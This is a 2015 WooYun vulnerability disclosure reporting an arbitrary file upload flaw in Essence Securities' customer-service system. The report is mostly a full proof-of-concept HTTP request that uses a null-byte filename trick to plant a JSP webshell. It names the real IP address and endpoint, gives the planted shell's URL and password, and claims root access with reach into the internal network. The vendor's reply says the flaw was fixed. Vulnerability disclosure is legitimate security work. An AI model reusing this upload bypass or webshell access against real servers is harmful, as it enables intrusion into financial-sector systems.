当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124932

漏洞标题:安信证券某系统存在任意文件上传漏洞可威胁内网

相关厂商:安信证券

漏洞作者: 茜茜公主

提交时间:2015-07-06 17:13

修复时间:2015-08-22 21:06

公开时间:2015-08-22 21:06

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-08: 厂商已经确认,细节仅向厂商公开
2015-07-18: 细节向核心白帽子及相关领域专家公开
2015-07-28: 细节向普通白帽子公开
2015-08-07: 细节向实习白帽子公开
2015-08-22: 细节向公众公开

简要描述:

任意文件上传漏洞,可威胁内网,求高rank

详细说明:

安信证劵客服系统
UcSTAR客服系统 地址:http://119.147.80.161:8002

QQ截图20150706165117.jpg


虽然登录页被处理了,但上传漏洞仍然存在
http://119.147.80.161:8002/webcall_chat/leaveMessage.jsp

QQ截图20150706165525.jpg


QQ截图20150706165518.jpg


通过抓包改包,我们得到poc

POST http://119.147.80.161:8002/webcall_chat/leaveMessage.jsp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://119.147.80.161:8002/webcall_chat/leaveMessage.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df190111008b2
Accept-Encoding: gzip, deflate
Host: 119.147.80.161:8002
Content-Length: 2929
Connection: Keep-Alive
Pragma: no-cache
Cookie: XSESSIONID=o4d30tsagvtr
-----------------------------7df190111008b2
Content-Disposition: form-data; name="save"
save
-----------------------------7df190111008b2
Content-Disposition: form-data; name="domainUri"
null
-----------------------------7df190111008b2
Content-Disposition: form-data; name="remoteip"
-----------------------------7df190111008b2
Content-Disposition: form-data; name="userUri"
-----------------------------7df190111008b2
Content-Disposition: form-data; name="seatId"
-----------------------------7df190111008b2
Content-Disposition: form-data; name="seatType"
0
-----------------------------7df190111008b2
Content-Disposition: form-data; name="signId"
-----------------------------7df190111008b2
Content-Disposition: form-data; name="messageid"
-----------------------------7df190111008b2
Content-Disposition: form-data; name="messageType"
1
-----------------------------7df190111008b2
Content-Disposition: form-data; name="chatid"
41413
-----------------------------7df190111008b2
Content-Disposition: form-data; name="userName"
ts
-----------------------------7df190111008b2
Content-Disposition: form-data; name="phone1"
13766666616
-----------------------------7df190111008b2
Content-Disposition: form-data; name="phone2"
-----------------------------7df190111008b2
Content-Disposition: form-data; name="phone"
13766666616
-----------------------------7df190111008b2
Content-Disposition: form-data; name="email"
-----------------------------7df190111008b2
Content-Disposition: form-data; name="revertTypes"
电话
-----------------------------7df190111008b2
Content-Disposition: form-data; name="revertType"
电话
-----------------------------7df190111008b2
Content-Disposition: form-data; name="memo"
ts
-----------------------------7df190111008b2
Content-Disposition: form-data; name="file1"; filename="987.jspx%00.jpg"
Content-Type: image/pjpeg
wooyuntest
-----------------------------7df190111008b2--


注意这里filename="987.jspx%00.jpg,需要把"%00" URL-decode一下

漏洞证明:

上传后的一句话地址为:http://119.147.80.161:8002/upload/message/9873.jspx
密码:0q23

QQ截图20150706170613.jpg


QQ截图20150706170856.jpg


QQ截图20150706170957.jpg


root权限,可以内网

QQ截图20150706170533.jpg


QQ截图20150706171056.jpg

修复方案:

上传点过滤,求高rank

版权声明:转载请注明来源 茜茜公主@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-07-08 21:04

厂商回复:

谢谢,我们已及时修复漏洞。

最新状态:

暂无